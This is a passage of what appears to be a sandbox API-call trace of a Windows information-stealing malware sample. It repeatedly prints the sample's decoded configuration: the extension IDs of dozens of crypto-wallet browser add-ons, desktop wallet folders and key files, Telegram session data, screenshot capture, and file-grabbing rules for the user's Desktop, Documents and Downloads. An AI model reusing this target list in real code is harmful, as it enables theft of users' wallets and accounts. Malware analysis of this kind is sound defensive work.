Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.760] lstrlenW (lpString="wlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4090 [0259.760] lstrlenW (lpString="wlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4090 [0259.760] LocalAlloc (uFlags=0x40, uBytes=0x1ff4) returned 0x6b9720 [0259.760] lstrlenW (lpString="wlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4090 [0259.760] LocalAlloc (uFlags=0x40, uBytes=0x1ff4) returned 0x6bb720 [0259.760] lstrlenW (lpString="wlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4090 [0259.760] LocalAlloc (uFlags=0x40, uBytes=0x1ff4) returned 0x6bd720 [0259.760] StrStrW (lpFirst="wlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus 